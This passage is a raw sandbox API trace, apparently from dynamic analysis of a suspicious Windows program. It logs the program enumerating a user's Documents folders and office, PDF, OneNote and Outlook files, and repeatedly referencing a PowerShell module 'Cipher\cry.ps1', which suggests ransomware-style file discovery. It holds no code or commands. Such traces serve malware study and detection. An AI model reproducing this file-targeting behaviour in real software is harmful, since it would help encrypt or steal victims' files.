lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\LaNRk0Y0m7DgEl27_3.xlsx", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\LaNRk0Y0m7DgEl27_3.xlsx", lpFilePart=0x0) returned 0x49 [0116.250] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.250] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\vTdFCPJkitUswtFF.docx", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\vTdFCPJkitUswtFF.docx", lpFilePart=0x0) returned 0x47 [0116.250] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.250] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0116.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.251] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt")) returned 0x20 [0116.251] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0116.251] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae62c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0116.251] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.251] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt")) returned 0x20 [0116.251] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\LaNRk0Y0m7DgEl27_3.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\lanrk0y0m7dgel27_3.xlsx")) returned 0x20 [0116.251] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\vTdFCPJkitUswtFF.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\vtdfcpjkituswtff.docx")) returned 0x20 [0116.252] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr")) returned 0x10 [0116.252] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr")) returned 0x10 [0116.252] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", nBufferLength=0x105, lpBuffer=0x99ae6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", lpFilePart=0x0) returned 0x2d [0116.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.252] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", lpFilePart=0x0) returned 0x2d [0116.252] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\", lpFilePart=0x0) returned 0x2e [0116.252] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e85478 [0116.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.252] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", lpFilePart=0x0) returned 0x2d [0116.252] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\", lpFilePart=0x0) returned 0x2e [0116.252] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e856b8 [0116.252] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.253] FindClose (in: hFindFile=0x8e85478 | out: hFindFile=0x8e85478) returned 1 [0116.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ecPBUi.ods", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ecPBUi.ods", lpFilePart=0x0) returned 0x38 [0116.253] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0116.254] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\GW2j5IlnWuDYNIF7C3.ods", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\GW2j5IlnWuDYNIF7C3.ods", lpFilePart=0x0) returned 0x44 [0116.254] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\jAmwE1Wm1EI.odp", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\jAmwE1Wm1EI.odp", lpFilePart=0x0) returned 0x3d [0116.254] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ovQKHdeSWEwsXIpwyKsE.pptx", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ovQKHdeSWEwsXIpwyKsE.pptx", lpFilePart=0x0) returned 0x47 [0116.254] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\OXr_YB.pps", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\OXr_YB.pps", lpFilePart=0x0) returned 0x38 [0116.254] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\VK 9Ks6FokzHL4dh0.pptx", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\VK 9Ks6FokzHL4dh0.pptx", lpFilePart=0x0) returned 0x44 [0116.254] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\_I8HOm6r8I.odp", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\_I8HOm6r8I.odp", lpFilePart=0x0) returned 0x3c [0116.254] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.254] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0116.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.255] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ecPBUi.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\ecpbui.ods")) returned 0x20 [0116.255] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls")) returned 0x20 [0116.255] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0116.255] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae62c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0116.255] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.255] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls")) returned 0x20 [0116.256] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\GW2j5IlnWuDYNIF7C3.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\gw2j5ilnwudynif7c3.ods")) returned 0x20 [0116.256] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\jAmwE1Wm1EI.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\jamwe1wm1ei.odp")) returned 0x20 [0116.256] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ovQKHdeSWEwsXIpwyKsE.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\ovqkhdeswewsxipwykse.pptx")) returned 0x20 [0116.256] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\OXr_YB.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\oxr_yb.pps")) returned 0x20 [0116.256] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\VK 9Ks6FokzHL4dh0.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\vk 9ks6fokzhl4dh0.pptx")) returned 0x20 [0116.256] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\_I8HOm6r8I.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\_i8hom6r8i.odp")) returned 0x20 [0116.256] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc")) returned 0x10 [0116.257] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc")) returned 0x10 [0116.257] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", nBufferLength=0x105, lpBuffer=0x99ae6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", lpFilePart=0x0) returned 0x33 [0116.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.257] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", lpFilePart=0x0) returned 0x33 [0116.257] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\", lpFilePart=0x0) returned 0x34 [0116.257] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e85478 [0116.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.257] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", lpFilePart=0x0) returned 0x33 [0116.257] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\", lpFilePart=0x0) returned 0x34 [0116.257] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e85238 [0116.257] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.257] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.257] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.258] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.258] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.258] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.258] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\_jZTpzq0G\\.", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\_jZTpzq0G", lpFilePart=0x0) returned 0x3d [0116.258] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.258] FindClose (in: hFindFile=0x8e85478 | out: hFindFile=0x8e85478) returned 1 [0116.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.258] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.258] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.258] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0116.258] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.259] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf")) returned 0x20 [0116.260] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt")) returned 0x20 [0116.260] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\nSgKC5cF.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\nsgkc5cf.xlsx")) returned 0x20 [0116.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.267] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks")) returned 0x10 [0116.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.270] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one")) returned 0x20 [0116.271] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files")) returned 0x10 [0116.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.273] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules")) returned 0x10 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.274] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4twIwfvt.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4twiwfvt.docx")) returned 0x20 [0116.274] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\8787.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\8787.pptx")) returned 0x20 [0116.275] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb" (normalized: 